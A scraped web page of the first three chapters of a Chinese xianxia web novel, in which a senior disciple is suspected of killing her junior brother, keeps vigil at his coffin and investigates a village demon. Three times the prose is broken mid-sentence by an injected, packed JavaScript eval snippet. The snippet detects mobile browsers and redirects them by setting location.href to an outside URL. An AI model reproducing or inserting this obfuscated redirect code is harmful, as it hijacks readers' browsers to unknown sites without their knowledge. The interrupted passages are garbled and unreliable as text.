《被我杀死的师弟回来了》 1. 师弟(修) 噗呲—— 长剑贯穿了他的心脏,一道鲜血自他的身体里喷涌而出。 月晓白握剑的手止不住地颤抖,她颓然倒地,重重地砸在了面前的人身上。 乌玉宇被她压的一同倒在地上,还未完全失去温度的鲜血粘连在她的身上,烫的惊人。 月晓白喘着粗气,几乎透支的体力根本不足以支撑她再度把身体支起来,只能被迫依偎在他的怀里,好似他们是多么相爱的恋人。 她弯了弯嘴唇,抬头向上看去,是一张大半被白布遮掩的面容,游离而又冷淡。 在生命最后的关头,乌玉宇问道:“是师姐吗?” 月晓白喉咙有些发痒,她轻咳一声,转而又咳的更加撕心裂肺:“咳咳,抱歉师姐没能救你。” 他道:“没关系。” 继而再也没了声响。 月晓白有些茫然地向他的鼻尖探去,半响之后又缩回了手指,恍惚之间她好似又看到了当初那两个年幼的孩童,他们一起站在山巅,一起许下那个永不分开的誓言。 ——“我会和晓白永远在一起,再也不会让晓白孤单,无论是什么,都不能将我们分开。” 月晓白昏迷过去的最后一个念头就是,她不应该杀他的。 即便是当时从未觉得她这个念头可以成真。 天地观成立第十五年,门派当中的两大领头人物乌玉宇和月晓白,在除祟途中失散,等到被观中发现之时,两个一起倒在血泊当中,一死一伤。 而其中生还的那个,目前神志尚不清醒。 一日后,天地观中挂满了白绫。 月晓白再次清醒过来时,是在一个葬礼上。 一道大力自她身后袭来,将她推得一个踉跄,重重地扑在一口黑沉沉的棺材前。 月晓白的眼前一阵发黑。 “你干什么!就算是怀疑,你也不能推人啊。”一个人猛然从旁边窜了出来,一把将刚才那个人给拦住。 “我怎么不能,谁知道她在装傻充愣些什么,一回来就是一副呆呆傻傻的样子,别以为这样就能逃过。” 再之后,她的身后便传来推搡的声音,越来越剧烈,宛若一群闹得不行的小鸡崽在你啄我我啄你的打架。 “我不是说过吗?一切事情,等师姐醒来再说,再者,没有百分百的证据证明,师姐就是凶手!” “怎么就不能证明?现场除了她月晓白,难道还有第二个人吗?不是她杀的是谁杀的!” 石闫被气的就差站在对面人的头上了,他猛然上前一步,扯着对面人的衣领道:“谁都有可能去杀乌玉宇,但是师姐绝不可能!” 声音在空荡荡的大厅中回响,月晓白顺着棺材,向上看去。 是乌玉宇的脸。 面上新盖的白布因为她的动作,大半落了下来。 月晓白扒着棺材的手用力到几乎颤栗,她站了起来,用那只颤栗到扶不起任何东西的手,将张白布重新盖了回去。 那身沾满了血迹的衣服被换成了一件干净的白袍,平常一直随身带着的面具被人妥帖的打了一个结,挂在她的腰间。 这个世界上最有可能杀乌玉宇的人,就是她月晓白了。 “哟,这是总算不装了,月晓白,乌玉宇死了,你很开心对吧。”魏骁三两步走到月晓白的身边,毫不客气道。 魏骁,排月晓白下面然后和她挨得最近的那个师弟,是个斯文俊俏的长相,看起来像是个书生,然而却是个武书生,衣服下面长的挺结实,行动和为人处世方面全凭一个字,急。 两个人关系并不好。 月晓白不理,低头重新看了一眼那横在正中央的棺材。 天地观的成立并不久,平常就算是有些事,都是他们这些师兄师姐们带队,可以说,发生生离死别对一些几乎没有出过观中的人来讲,几乎是一件很新鲜的事。 可对月晓白来讲却不是,她看惯了生离死别,以至于她回忆这些,耳边就不由自主地围绕起刺耳的哭声。 可是当这件事这件事真的发生在自己最亲近的人身上时。 她却觉得有几分说不上来的茫然,还有一分,她一直想要忽略的庆幸。 “你给我回话,别以为你装哑巴我就会放过你,乌玉宇是怎么死的,是被你杀死的吗?” “你觉得他是被我杀死的?”月晓白苍白的嘴唇发出微不可查的颤抖,声音却又冷的异常。 “难道不是?”魏骁这人不是个受得了刺激的,被月晓白这么一反问,他当即就怒了,抬手欲将她拉到众人面前。 然而他的手还未伸出个完全,刚刚阻止的那人又冒出来了。 石闫挡在月晓白的面前,用他那张长着虎牙的和善面容笑道:“魏师兄,我敬你年纪大,你别成天蹬鼻子上脸,动手还动上瘾了是吧!” “你又是那根葱?!我跟月晓白说话,你一直冒出来干什么?” “我你居然都没有听说,我可是师姐的大宝贝!”石闫挡住魏骁再次将他推开的动作,夸张地喊道:“魏师兄,大庭广众之下,你看不惯我就算了,你居然还伸手摸我!” “我那门子摸你了?”魏骁不可置信道。 “呀,你摸了还不承认!” 久违的,自从少年时期过后,月晓白几乎没怎么见到过魏骁吃瘪的样子了。 在任何一个地方,想要把人心完全凝齐,都是非常难的,而天地观也是如此。 一方是以她为首,无条件袒护她站在她身后的一众人等,好比石闫,而另一方就是魏骁为首,再剩下一些,就是些年纪不大不太懂事的,闲散的万事都不想掺和的。 月晓白知道,不管她到底干没干这种事,既然到了这个位置,她就不会让其他人对她付出的心血白费,至于对乌玉宇的补偿,或许之后会有吧。 月晓白和乌玉宇的缘分起源于幼时,自她将他捡回宗门的那天起,他就跟在自己的屁股后面,睁着圆圆的眼睛,一口一个师姐地叫着,一直叫到了他长大。 而从他们认识,一直到乌玉宇死去,就有十一年之久,几乎快占据了月晓白有限人生当中的二分之一,乌玉宇生命当中的三分之二。 他们认为,他们彼此之间,是永远都不可能分开的存在,他们会一直陪伴着彼此,无论生存还是死亡。 然而,变故却比他们想象中要早的多。 最先的起源就是,月晓白的嫉妒。 月晓白嫉妒她的师弟,嫉妒他优越出身与童年,嫉妒他卓绝的天赋,嫉妒他想要干成什么,都是丝毫不费力的,甚至还能反过来纳闷她为什么办不到。 明明她才是师姐,明明她才是救了乌玉宇的人,明明她应该是在他前面领头,并且为他挡避风雨的人才对。 所以,她定制了一项计划,一个很拙劣,甚至不觉得可以成功的刺杀计划。 而现在,最大的问题就是成功了,并且自己记不太清当时发生的事情,不知道是怎样成功的。 她抬头看着前方,一个牌位已经摆在了桌子上。 [天地观第一代弟子乌玉宇之灵位] 如果誓言依然存在的话,那最先违背誓言的,不应该是乌玉宇吗? 是他非要和自己阴阳两隔的。 “月晓白,你还有什么好说的,你看到你师弟的尸体躺在你面前,你难道就不会愧疚吗?别以为我不知道你对你师弟存了什么心思。”这边,魏骁摆脱了石闫的攻击,转而又朝月晓白发起了进攻,大有不扳倒她誓不罢休的样子。 “你觉得是我杀死他,是我看不得他好过,是我嫉妒他,想要杀死他是吗?”月晓白一向白的透明的眼皮,此刻泛上微微的薄红。 “难道不是?” 魏骁问的有些不自信了。 “你就当是我杀死他吧。”一滴泪从月晓白的眼角滑落。 她凝视着眼前的牌位,点了三根香,插在香炉当中。 袅袅香烟在她的周身缭绕,月晓白的眼皮愈发的红了。 可能是因为名字里面有个白字,月晓白的皮肤很白,甚至白到有几分透明的地步,夸张点的说法就是,天生比别人少一层皮一般,任何痕迹,在她的身上都格外的明显。 也因此,所有人看着那抹殷红,都感觉红的有些刺眼了起来。 月晓白的声音带着几分哽咽:“如果真是我杀死他的就好了,这样日思夜想之下,他也能来见我一面。” “噗通”一声,一阵风猝不及防地从外面刮来,不知道是哪里的东西被风吹的倒下,周围白绫凌乱,月晓白抬手压下自己飞舞的头发。 那张盖在乌玉宇脸上白布被风吹开,飘飘悠悠往外落,那张昳丽而又无知无觉的面容似乎泛起淡淡的笑意,却又像是错觉。 周围人猛然回过神来。 魏骁张了张嘴,却一时半会儿想不起来问些什么,好半天才憋了一句:“你承认乌玉宇是你杀的了?” 月晓白没有回话,像是还沉浸在悲伤当中,断断续续的啜泣声从她的方向传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125886|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 方才还失去血色的嘴唇,不知是因为情绪激动还是怎地,此时竟被带的有些红了。 和眼皮一般的殷红,就像是有个人为这抹白色,增添了一份上等的胭脂。 魏骁简直就像是见了鬼。 “你这是怎么说话呢?没看到我师姐都这样了吗?师姐你这是……”石闫不知道在脑海中脑补了什么,仰着脸小心翼翼地问道,“不舍得乌师兄?” 月晓白没有回答是或者不是,只是道:“原来有些人,只有失去,才能明白自己的心思……” 什么叫只有失去,才能明白自己的心思,难不成是乌玉宇死了,月师姐才发现自己喜欢上乌师兄了。 奈何现在已经阴阳两隔,只能垂足叹息后悔不已。 所有人的脑海中顿时脑补出了一场虐恋大戏。 石闫艰涩地开口道:“师姐,人鬼殊途,还是……” 还是什么,早日放下?但乌师兄刚死,师姐情绪又上头,这话他实在说不出来。 月晓白斩钉截铁道:“我要招魂,我要让乌玉宇回来。” “万万不可啊!” 这句话就像是捅了一个大篓子,所以之前没开口的观戏的脑补的,现在都齐齐出声了。 “师姐,乌玉宇是被人害死的,招魂到底是有些不妥,万一……” “是啊,万一乌师兄成邪祟了怎么办?师姐你舍得对乌师兄动手吗?” “邪祟可是个没有理智,只会害人的玩意,师姐,你见到这样的乌师兄,这不是破坏乌师兄在你心目中的形象吗?” 如果她只是说,她对乌玉宇执迷不悟,在他死后知道了自己的心思,她的嫌疑不一定能被洗刷掉,但是如果她要是说招魂,百分百可以。 毕竟在这个世界上,从阴间回来的报仇的恶鬼,还可能成为另一种存在——邪祟。 一种极其难对付,并且阶级观念极强的兽类。 如果真是她杀的,她这一举动,无异于是引火烧身。 月晓白神色茫然,最终却又摇了摇头道:“你们凭什么觉得,他一定会成为邪祟?万一不是呢?” 她不回应还好,一回应周围就像是炸开了一般,像是一群小鸡在齐刷刷地叽叽叫,吵的不行。 所有人都绞尽脑汁,用各种各样的话来劝她。 爱情啊,果然是个让人盲目的玩意儿,看看平常一向冷静果断的师姐都成什么样了。 真的是,太虐了! “行了,都别吵了。”魏骁冷着脸,打断了他们的吵嚷。“看来乌玉宇的事情是与月晓白无关。” 所有人都齐刷刷点头,是的,怎么可能有关。 世界上所有人都有可能杀乌师兄,但是月师姐是绝不可能的。 这,就是爱情! 月晓白略微垂眸,一丝极淡的得逞在她的眼中一闪而过。 不知道从哪里来的歪风吹拂着月晓白的发丝,使它们黏连在她脸上,轻柔的,就像是有人轻抚她的脸颊,耳边好似依稀能听到一声极淡的笑声,却又像是错觉。 那道风围绕着整个大堂,绕过每个弟子,就这样晃悠悠地转了一圈。 魏骁眉头微拧,不知道为何,他总感觉哪里不对,却又不太说的上来,但要让他就此放弃,他又有些不甘心,忽而一道风将他全身给裹挟。 魏骁的眼神中的光彩缓缓消失,他着几分不易让人察觉的木然道:“既然这样,月晓白,就由你来负责乌玉宇的头七吧,想来你这个做师姐的,一定能负责好。” 奇怪的沉默在周围蔓延,明明这是一个不太能让人放的下提议,尤其是在月晓白提出她要招魂之后。 然而此时,却没有一个人出来反对。 无奈之下,月晓白只能佯装惊喜:“我,我可以负责好吗?” 千万别,怎么这事就落在她的头上了?不应该啊。 她跟乌玉宇什么关系,她凭什么要去举办他的头七。 周围人像是集体回过来神来一般,纷纷劝道,好似由衷的这么觉得: “如果月师姐不能举办乌师兄的头七,想来她会遗憾的吧,毕竟她那么喜欢乌师兄。” “是啊,这个头七,除了月师姐,还有谁,乌师兄知道了也一定会很开心的。” 魏骁一锤定音:“不要妄自菲薄,还有你月晓白处理不好的事?” 月晓白的表情僵住了。 不是,你们真放心她去负责? 不怕她招魂给你们看了? 2. 守灵(修) 头七,也就是人死后的第七天,通常来讲,死去的人会在这一天回魂,来看一眼阳间的亲人。 然而自从有了邪祟,头七变得让人避之不及了起来,因为心中有怨的鬼魂会在这一天重新回到阳间,亲自去报他的杀身之仇,更有甚者,会变成邪祟,直接失控到处屠杀。 所以这并不是一个好差事,魏骁以此来试探她的话,倒也说的过去。 不多时,周围的人散去,只剩下月晓白和石闫两人。 月晓白蹙起的眉头微微松开,管它呢,反正天又塌不下来。 石闫看了一眼乌师兄那好端端躺在地上的面容,压下了心里那道奇异的亢奋,道:“师姐,您怎么不走,难不成是……您想要给乌师兄守灵?” 月晓白差点左脚绊右脚,一个踉跄摔在地上。 守灵?她和乌玉宇有什么关系吗?她干什么给他守灵,她看乌玉宇一眼她都觉得讨厌。 然而她看着石闫那双写满了“你真的好爱他啊”的眼睛,立马精神道:“是,没错,是要给他守灵。” “那我陪师姐一块守。”石闫脱口而出。 月晓白瞄了他一眼又一眼,石闫眨巴着大眼看她。 最终月晓白道:“行。” 彳亍……吧。 守灵倒也不算是什么艰难的差事,无非是找个地方坐一坐,坐到第二天亮而已。 周围的环境并不算是太亮堂,乌玉宇那张好看的脸在幽暗的光线下,也显得有几分鬼气了起来,当然,也有可能是因为人死了,气色也就没那么好了。 只不过以她师弟那姣好的样貌,就算是死了,也能称得上是艳尸了。 即便是她的周围还有一个石闫,但只坐了不久,月晓白就觉得有些太静了,没什么人气。 她看着那口漆黑的棺材,又抬头看了一个那端放在正前方的漆黑牌位。 上面刻着:[天地观第一代弟子乌玉宇之灵位] 无论是怎么看,这张牌位都没有什么毛病,可是看着看着,月晓白总觉得有些刺眼起来,像是无端缺少了什么东西。 她是在做什么?她又在想什么呢? “石闫,你有没有感觉乌玉宇牌位上缺了点什么东西?”她像是求助一般地问道。 石闫惊讶地抬起头来,却又猜测不出她的意思,问:“恕师弟愚钝,确实是有些看不出来。” 月晓白蹙眉看了一会儿,忽然福至心灵道:“当然是缺少‘月晓白师弟’这五个字了。” 她的眉头慢慢舒展开,人又重新精神了起来。 既然都守灵了,那他们之间总得添点关系吧。 而且她说的这几个字又没错,乌玉宇不就是她师弟吗?凭什么不能刻上去? 他们之间的关系,就应该从生到死,都牢牢绑定在一起。 石闫故作恍然,“师姐这么一说,确实是少了。” 月晓白“嗯”了一声,猫似般地抬了抬下巴:“你去刻上。” “师姐……”石闫有些迟疑,师姐原来这么舍不得乌师兄,可这到底是有些冒犯,要是乌师兄不愿意怎么办? 月晓白用她完好的那只手,摩挲了一下她的右手手腕,没什么感触,反倒是因为她的动作,右手发出微不可查的颤栗。 她猛然握住了她的手腕,面色如常道:“去吧,记得把字刻好看点。” 石闫犹豫了一下,还是去了,反正人都不在了,有什么不愿意的,再者,乌师兄生前那么喜欢师姐,又怎么会不愿意呢? 他掏出一把匕首,心里庆幸,他的字还不错,应该能让师姐满意。 然而还不等他靠近,那道牌位就像是长了眼睛一般,“吧嗒”一声,从桌上上落了下来。 “是……风吧。”石闫结巴道。 月晓白的脸猛然一沉。 风?哪里来的风,那么大的风她怎么没有感受到。 “师姐,还守灵吗?”石闫小心翼翼地问道。 “不守了。”月晓白冷着脸道。 守个屁,她是有病才在这里守灵而不是去睡觉。 石闫应了一声。 然而最终,月晓白还是留在这里守灵了。 毕竟除了她,乌玉宇在这个世间也没有更亲的人了。 在第一抹阳光透过来的时候,月晓白将牌位重新放回了桌子。 到底还是气不过自己拿过了刀,用左手在牌位上面重新刻了起来,可惜,她平常习字用刀,用的都是右手,左手没那么灵活,她刻了好半天,才刻出来歪七扭八的五个大字。 和旁边早早刻好的字比起来,怎么看怎么丑,然而她补救了近乎一个晚上,没补救出一个好歹来,反而让她的作品丑陋的愈发不堪入目。 她看着那张放在桌子上的牌位,威胁地想:这次要是掉的话,乌玉宇你就别想入土了。 然后,不知道是她的心理原因在作祟,还是她的威胁被人给听到了,这下还就真没掉了,好端端地立在桌子上。 月晓白满意地点了点头,对石闫道:“去白腊村。” —— 白腊村,一个盛产白蜡和白蜡树的地方,同时也是月晓白和乌玉宇出事的地方。 几天前,白蜡村的村民报信说,有一个由白腊形成的邪祟在他们的附近出没,已经死了好几个人了。 所以,天地观派人前去除祟。 月晓白看着白蜡村附近那一片白腊林,问:“当时是个什么情况?” “当时您和乌师兄都不在了,师弟师妹们都有些慌,但还算是控制的住,打算留在原地等你们回来,然而五师兄说,邪祟要来了,让我们走,您也知道,五师兄这人,比较内向……”石闫跟在月晓白的身后,一边走一边道。 本来这一次,是由厉害的师兄师姐带队外出长见识做好事的,然而半中间,最厉害的师兄师姐却接连消失,好在还剩了一个五师兄,不说别的,好歹算是一代,可以勉强唬住那群小崽子。 可问题是,平常这个不太吭声的五师弟,这时候出声了。 他道:“邪祟要来了,再不走就全部走不了。” 石闫犹豫了一番,最终还是听取了他的意见,他不敢拿他师弟师妹们的性命去做赌注。 后来,邪祟还就真的来了,幸好他们撤退的快,否则后果不堪设想。 讲到这里,石闫的脸色有些发白。 月晓白看了他一眼,心知他是被吓到了。 石闫的年纪并不太大了,也就十几岁的少年人,聪明,面善,长了一只讨喜的小虎牙,所以月晓白经常带他。 一来二去,熟了之后,他也就成了她的心腹,并且月晓白不得不承认,在人情世故方面,他比她会来事多了。 可到底年纪还是太小,进行过的一次除祟,还是在这次。然而天地观又有几个年纪大的? “我应该跟你说过很多次,不要把邪祟当成任何东西来看,要把它当成兽,一种茹毛饮血以虐杀为乐的野兽。” 月晓白忽然走到一个地方暂定,抬头看向那间正开着大门的屋子,一口棺材摆在房屋正中央,一个老人跪坐在棺材旁,一把又一把的纸钱往火盆中烧。 她似笑非笑道:“你们看到的邪祟,是白蜡,还是其他。” 石闫狠狠地愣住了,他回想了片刻,一向亮的眼睛都暗淡了不少:“是其他。” 屋子的老人听到动静,猛然从里面站起来,出门迎接道:“仙长,是您来了。” 月晓白没有应,只看着石闫道:“当时你看见我和乌玉宇是什么情况。” 石闫不敢不回:“当时,您和乌师兄躺在血泊当中,您倒在乌师兄身上,乌师兄的心脏处插了一把剑,除此之外,就什么都没有了,所以要我讲,光凭这一点,师姐您肯定不是凶手,观中上上下下都知道,您惯常是用刀的。” 月晓白指尖轻动,她惯常用刀没错,不过她设计杀乌玉宇时,她特意换了武器,用的是剑。 “周围就没有其他的任何痕迹了吗?” “没有。”石闫摇了摇头,肯定道:“出事之后,魏师兄带着人里里外外查了一边,什么痕迹都没有。” 那这倒是奇怪了。 “仙长……”老头忍不住插嘴。 月晓白打断了他的话,道:“我身上这身衣服,是师妹帮我换的?” 石闫看了一眼老人,点点头,称了声“是。” “仙长,不知道是老朽哪里得罪了您,您就这么无视老朽,可怜我儿子正年轻,如果不是你们当时来的太迟,没能除了邪祟,我儿子何至于没了性命,让我落得一个白发人送黑发人的下场。” 老头眼中带泪,带着隐隐的薄怒,说着,他就要往月晓白身上扑去,一副要拼命的架势。 石闫眼疾手快地挡在月晓白面前,三两下架住了那老头。 月晓白在院中随意勾了一个椅子,坐了下来,好整以暇道:“你说我们来的太迟,害你儿子丢了性命,如果我没记错的话,我们来的时候,你儿子还活着吧。” 老头在石闫的手中拼命挣扎:“还不都是因为你们没能除了邪祟,不然我儿子也不会惨死。” 月晓白嘴角扬起一道讽刺的笑:“那么请问,邪祟在哪里,为何我来到这村中,将这个村子上上下下里里外外,甚至方圆十里都翻了一个遍,都没有找到你们信中所说的,那白腊所形成的邪祟呢,还是说——这个作乱的邪祟其实是人呢。” “你血口喷人!”老头勃然大怒,一张脸全部都涨红了起来,力道大的差点让石闫没能按住他。 “我喷什么人了,我又没说是你。”月晓白不耐道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她轻轻道:“我的师弟死了,而且如果有一个万一的话,我的师弟师妹也会死。求仙问道,但我的师弟师妹没有因为除祟赔上性命的义务。” “师姐……”石闫想说什么,但又迫于月晓白的眼神,还是憋了回去。 “将他给绑住,不是正在给他儿子守灵吗?让他守。”月晓白在老头那愤愤不平的眼神中停留了一瞬,“顺便将他嘴给堵住,我不想听。” 石闫这人虽然心里面想法不少,然而吩咐些什么,干的也快,眼里有活。 很快,他办完事,走到月晓白身边,无奈道:“师姐,万一这件事传出去怎么办?” 月晓白瞄了一眼那老头白发:“那么大年纪,还不一定能活到传出去的时候。” 老头气的直瞪眼。 石闫只能无奈的点头,这老头说的有大半是不错,在天地观在最初还不太成熟的时候,是用的这个方法,后面时间久了,成熟不少,大概是走两步到城镇,那里有天地观设下的站点,可以用来传信。 可山高路远,村子又封闭,这个方法真不一定能普及,而且指不定有村子连天地观的存在都不知道。 而且,天地观成立时间太短了,这对于一个初成长然后就急于外出除祟的道观来讲,实在是太致命了,根本没有多少真正可以除祟的人来用。 甚至面前这个说着除祟不是他们义务的人,已经除了十五年的邪祟,自她入宗门的那天起。 他忍不住道:“师姐,天地观的每一个人,都有为除祟舍去生命的义务,而这不是天地观最初成立的宗旨吗?” 月晓白沉默了片刻,摇了摇头:“不,这不是你们的宗旨,是我的,你们只要长大就好。” 石闫欲言又止。 月晓白却不再回答,装作闭目养神起来。 因为他不会懂得,自己一个一个的将半大不大的小孩捡回了宗门,然后教他们读书写字,看着他们慢慢长大,等到他们会喊着师姐,要和她一起玩的时候,自己却在心里想着,他们会因为除祟,一个个舍身忘死丢掉性命的心情。 他们的命是命,可她师弟师妹的命也是命。 他们可都是她亲自带回来的啊,每一个人的样貌和姓名她都记得。 然而,她最疼爱的那个,却也是最不听话的,硬是要为了同她一起除祟,几次三番逼她,这有什么好一起的。 后来,她在乌玉宇用自杀和誓言的逼迫下,还是同意了。 “师姐,我已经发过誓了,我会永远陪着你,你不让我去就是让我违背的誓言,我早晚会不得好死的,你要是再不答应,我不如就现在死给你看好了。” 那时候还不太大乌玉宇眼中满是认真。 而那时候月晓白,差点没被他气出一个好歹来。 想到这里,月晓白嘴角隐隐有些笑意,只不过很快就淡去了。 她想:早知道当初就应该心硬一点,说什么都不答应。 可这样的话,区别又在哪里呢? 毕竟,乌玉宇可没有死在邪祟的手中,而是死在自己的手中。 3. 善妒(修) 月晓白本来只是装作闭目养神,谁承想就这么闭了一会儿之后,她还就真的睡着了。 梦中的景象很是杂乱,就像是掉入了一口深不见底的井中,一边下落,一边各种各样的情景往她脑海中冒。 一会儿是她站的还不太稳当的时候,月晓白摇摇缓缓地走到围栏边,努力垫着脚,去看她新出生的弟弟,然而却被她的母亲一把推开,头破血流地载在地上。 一会儿是父亲冷漠的眼神,周围人宛若看什么脏东西一样,对着她指指点点,月晓白背着比她人还大的背篓,低着头,穿过他们中间,好似这样就可以听不到他们刺耳的声音。 那条路很长,长的好像是没有尽头。那口井也很深,深到月晓白在想,她为什么还没有落入水中呢。 她宁愿一头下去,栽在水中,将她摔个七零八碎,也不愿意面对这些。 忽然,前方出现了一道亮光,就在月晓白想她是走到了尽头,还是落入了井底时。 她听到了一个熟悉的声音。 她的师尊站在前方,对着一个人讲道:“晓白她气量小,生性善妒,你别跟她计较。” 月晓白停在原地,握着背篓的手越来越紧,她忽然觉得,这个背篓沉的有些过分了,沉到,她几乎迈不动步子。 她转过身去,她想要看看,她一直背的到底是什么东西。 然后,她就看到了,她背的不是什么物品,而是人,蜷缩在背篓里面的人,他的身型比她要小上一圈,身上几乎没有几块布,每块暴露在外的皮肤都像是融化了一般,到处都是肉色的斑驳,如同燃烧过后,又凝固的蜡油。 月晓白彻彻底底的僵住了,她不敢动弹,也不敢再往前走。 可那个背篓里面人好似感受到了她的不安,用那双几乎黏在一起的眼睛,用力地看她,用那只剩下两个孔洞的鼻子来嗅她的气味,用两只又细又长的胳膊,想要钳住她的脖子。 月晓白想要尖叫,却又叫不出来,她只能被迫又不甘地,接受她的死亡,即便是她不想要这个死法。 忽然,不知道什么时候,她的前方出现了很多金色的影子,他们似乎是对这一情况很着急,却又无可奈何,一层看不见摸不着的东西将他们给拦住,他们口中在喊着什么,可月晓白一个字都听不见。 终于,在她鼓足勇气,想要将那个背篓一把丢开的时候,那个背篓就像是长在了她的身上,怎么去也去不下来,她往前跑,可前方的路不止拦住了他们,也拦住了自己,她过不去。 那个裸露着骨头的手已经攀附上了她的脖子,以一种极其扭曲的姿势,牢牢地缠在她的身上。 月晓白的抗争并没有产生作用。 然而,就在此时,前方挤成一块金色人影却齐齐的退开。 月晓白嘴唇轻动,她想,是因为不想看到自己死去的样子吗?还是说,已经放弃想要救她了呢。 那双手终于稳稳地掐住了她的脖子,月晓白得眼前越来越模糊。 刚才那道熟悉的声音又在她耳边响起。 “晓白她气量小,生性善妒,你别跟她计较。” “晓白她气量小,生性善妒,你别跟她计较。” 那道声音直直在她耳边重复了数遍,声声入耳。 她抬起她的手,近乎是凶狠地扯几乎快要嵌在她血肉里面的背篓,毫不犹豫地将那个怪物往地上砸去,哪怕是鲜血淋漓,哪怕那双手已经深入了她的咽喉里面。 她是个什么样的人,不用他们来告诉她。 她穿过了那道屏障,继续向前走去。 忽然,一直围绕在她耳边喋喋不休的话语变了。 站在她师尊的面前的那个人道:“在这个世界上,如果晓白还算是气量小的话,那根本不会有气量大的人了。” 月晓白抬起头来,是乌玉宇的声音。 在这条都是影子的道路上,他的身影是多么清晰,就好像是一个格格不入的另类,明明她刚才走过的那条路,周围的人都是清晰的。 他并没有开口,但他的声音却还在继续。 那张被白布覆盖了大半个面容朝她看了过来,嘴唇几乎没什么血色,透露着森森鬼气。 “不知道师尊你有没有听过一个说法,说别人气量小,善妒的,永远是最气量最小,最善妒的那个。” “哦?我气量小,善妒?”师尊近乎是被他给气笑了。 “和晓白比起来,气量小和善妒的人,分明是我才对,晓白是这个世界上最好的人。” “行,感情我劝了半天,我倒是成了你们两个之间的坏人了。” 月晓白忽然就觉得,她身上的背篓像是小了大半,那只钳住她脖子的手,也松开了好多。 她朝乌玉宇走去,她不想深究乌玉宇出现在这里原因,她现在只想,好好地再抱上他一抱,然后任性地,倒在他的怀里,她知道她的师弟无论如何,一定会接住她的。 然而,等到月晓白走近他的身边,还不待她开口说些什么时候。 一把剑横穿了他的胸口。 月晓白的面色惨白。 如果情景重演一般,月晓白体力不支,倒在了他的身上。 然后带着他,一同往深井处坠去,她两个割裂梦,在此时像是彻底融合了一般,这一次,情景再次浮现在她的周围,但她却什么都顾不上看了,她脑海中一个念头。 她不想让乌玉宇和她一同死在这里,她的师弟一定还有救。 她一只手死死地拽住乌玉宇,一只向外抓去。 随便什么,随便抓住点什么,只要能让她和乌玉宇别掉下去就行。 然后,就在他们快要落在底下时,一只金色的手从情景当中冒了出来,握住了月晓白伸在外面的那只手。 月晓白下坠的趋势猛然一滞。 而她的另一个手中,乌玉宇整个身体都轻飘飘的,宛若没有重量一般。 她向下看去,那把剑已经自乌玉宇的身体当中消失,他抬起头,正在看她。 可惜眼睛被白布给掩住,她不知道他是什么情绪。 而再往下,是一个巨大的红色竖瞳,他们两个人的身影在那个红色竖瞳面前,就像是两粒沙子。 越来越多的金色的手从周围破碎的情景当中冒了出来。 他们的破碎的,杂七杂八的话,也随着手的数量,越多越多的冒了出来。 “晓白,好样的,我就知道你能做到。” “妹子,你就放心吧,我们一定能拉你上来。” “晓白,不要在意江柳岸那小子的话,他懂个什么,明明是他事儿叽叽的最能嫉妒人了。” 他们拉着月晓白,无数双手不断交接着,让她的身影不断上升。 明明刚才是深不见底的深井,现在重新走上一遍,却发现并没有她想的那般深,反而是很快就看到了出口。 忽而,就在她快要触及到井口的那道光时,周围的景象震颤,她像是从睡梦中醒了过来,又像是他们的举动终于被下面那道眼睛给发觉。 那些金色光影的话变得越来越急促。 “月晓白,别在拉他了,他不属于你那个世界。” 月晓白握住乌玉宇的手变得更紧了,她的师弟明明这样轻,她可以拉住他的。 “晓白,听话,别再拉他,时间快来不及了,不然你最终也上不去。” “快,它要醒过来了。” 可……月晓白的心里一阵茫然,可她明明很轻松就可以拉住师弟啊,怎么会上不去呢。 “师姐。” 乌玉宇轻轻喊了一声,然后将自己的手从她的手中毫不犹豫地拽开,直直地坠入了那道巨大的竖瞳当中。 月晓白的瞳孔一缩,她连说一声不要机会都没有。 无数双手,连拉带拽,将她推出了井口。 而最后关头那刹那,他们的话语齐齐化为了另一句话:“晓白,无论如何,记住那只眼睛,一定要记住!” 眼睛……记住…… 月晓白猛然从椅子上站了起来,差点没把院子的石闫吓出个好歹来。 “师姐,您醒了?做了噩梦?” “我梦到了什么?”月晓白声音干涩。 石闫睁着大了他的眼睛,心说他怎么可能会知道师姐梦到了什么。 片刻之后,月晓白缓过了神,神情复杂:“我好像梦到了很多东西……我睡了多久?” 石闫想了想道:“大概一两刻的时间,我想着师姐您可能是太累了,也就没叫醒您。” 月晓白喃喃道:“一两刻钟。” 她不由自主地抬手摸了一下自己的脖颈处,全是冷汗。 月晓白像是忽然想起来什么道:“你们看到的邪祟是什么样的?” “大概就是,黑毛滑溜,一种皮包骨的瘦猴子样,胳膊那里还有倒勾。”石闫回想起那乌泱泱过去的一大片,鸡皮疙瘩在他身上蔓延。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125888|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不知道这一大片邪祟要去那里,也不敢深想,他只知道,这么多的邪祟,无论到哪里都是一种灾难,一种十分可怖的灭顶之灾。 “眼睛呢?眼睛又是什么样?”月晓白急促道。 “眼睛,太远了,看不清什么样子,但有一点我可以确定,它们的眼睛都是绿色的。” 绿色…… 月晓白像是被踩到尾巴的猫,焦急地在院子里原地转了两圈,反复地念叨着这两个字。 